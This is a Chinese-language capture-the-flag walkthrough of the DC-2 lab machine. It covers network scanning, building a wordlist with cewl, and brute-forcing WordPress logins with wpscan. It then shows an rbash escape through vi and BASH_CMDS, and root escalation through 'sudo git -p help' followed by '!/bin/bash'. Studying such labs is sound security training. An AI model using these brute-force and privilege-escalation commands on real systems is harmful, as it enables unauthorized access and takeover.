环境准备:
kali: NAT模式 网段 :192.168.200.0
DC-2: NAT模式 网段 :192.168.200.0
保证靶机和攻击机在一个网段上
信息收集
收集同网段存货主机IP地址
nmap -sP ip地址
arp-scan -l
显示错误页面,显然是重定向错误,在本地HOST文件中添加这样的关系
本地中
kali中host地址
vim /etc/hosts
以上都可以
之后就重定向正常页面啦
第一flag提示
cewl 介绍
cewl是一个ruby应用,爬行指定url的指定深度。
也可以跟一个外部链接,结果会返回一个单词列表,
这个列表可以扔到John the ripper工具里进行密码破解。
-w 将输出结果写入到文件中
-d 爬行深度,默认为2
-m 最小长度,默认为3
cewl http://dc-2 -w passwd.txt #扒取网站字典,将结果输入到passwd.txt中
用 cewl http://192.168.28.179 -w passwd.txt ,但是没有输出,应该是IP地址给重定向了,用域名进行扒取
cat passwd.txt #查看字典内容
有密码字典 还需要找账号和登陆后台。
用dirb命令来挖目录
:::success
扩展:获取网站目录目录的工具有:dirb(kali自带)、御剑、dirsearch。
:::
dirb http://dc-2
登陆页面,通过插件可以知道,这是WordPress的CMS ,漏扫工具是wpscan
目前已经获取了网站的后台网址和密码,现在还差用户名,那么
wpscan --url http://dc-2/ -e u #枚举用户名
:::success
参数:wpcan 参数
-u 枚举用户名
-P 加指定文件 ,代表密码文件
-U 加指定文件,代表账户文件
:::
最终可以查到三个用户名
将枚举出的用户名保存到文件中
wpscan --url http://dc-2/ -U user.txt -P passwd.txt #爆破WordPress的账号和密码
结果,爆破出jerry和tom的密码
利用其一的账户和密码进行登录
登陆成功,这便是后台页面
flag1
flag2
If you can't exploit WordPress and take a shortcut, there is another way.
# 如果你不能用 WordPress 走捷径的话,这里还有另一条路
Hope you found another entry point.
# 希望你能找到另一个切入点
前面的端口号还有一个7744的端口使用
使用jerry测试三组全部失败
接着尝试,Tom账户是可以登录的
compgen -c //查看可以使用的指令
发现有一个VI 指令是可以使用的
文件显示内容,发现FLAG3.txt,并成功使用和打开
flag3.txt
poor old Tom is always running after Jerry.
# 可怜的老汤姆总是在追杰瑞
Perhaps he should su for all the stress he causes.
# 也许他应该为自己造成的压力负责
英文当中,有两个账户tom,jerry, su这应该算是提示提权
vi 提权
vi flag3.txt
:set shell=/bin/sh #shell需要时系统中原本就有的变量,不能自己捏造变量。
:shell
发现在jerry下的flag.txt 用vi查看
flag4.txt
Good to see that you've made it this far - but you're not home yet.
# 很高兴看到你走了这么远-但你还没回家。
You still need to get the final flag (the only flag that really counts!!!)
# 你仍然需要得到最终的标志(唯一真正重要的标志!!!)
No hints here - you're on your own now.
# 这里没有提示-你现在只能靠自己了。
Go on - git outta here!!!!
# 去吧,离这里远点 #用 git 提权
英文提示:用git提权,最终还需要拿到root权限
前面FLAG3有提示su,切到root目录查看
进入root目录
不让切换,做了限制 su jerry 是不可以的
**什么是rbash?**它与一般shell的区别在于会限制一些行为,让一些命令无法执行
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
提权成功
仍然权限不够
用sudo -l 查看可以运用的权限
git 是root的权限,可以提权
sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
git提权的两种方式
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !'sh' #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
final-flag.txt
:::tips
总结:
1.重定向 #在文件中加入域名和IP地址的关系映射
进入网页时出现错误情况,不会自动跳转到DC-2去,在本地DNS下绑定
2.cewl使用 #爬取URL地址和深度
flag的提示,使用cewl的命令,打印出密码破解的字典
3.wpscan使用 #扫描wordpress这个CMS的工具
暴力破解账户之前需要提供密码文件和账户文件
4.rbash提权
5.git提权
参考:https://www.cnblogs.com/starci/p/16484363.html
:::
文章参考:https://blog.csdn.net/a310034188/article/details/121624538
提权手段:https://www.cnblogs.com/zaqzzz/p/12075132.html#2rbash%E7%BB%95%E8%BF%87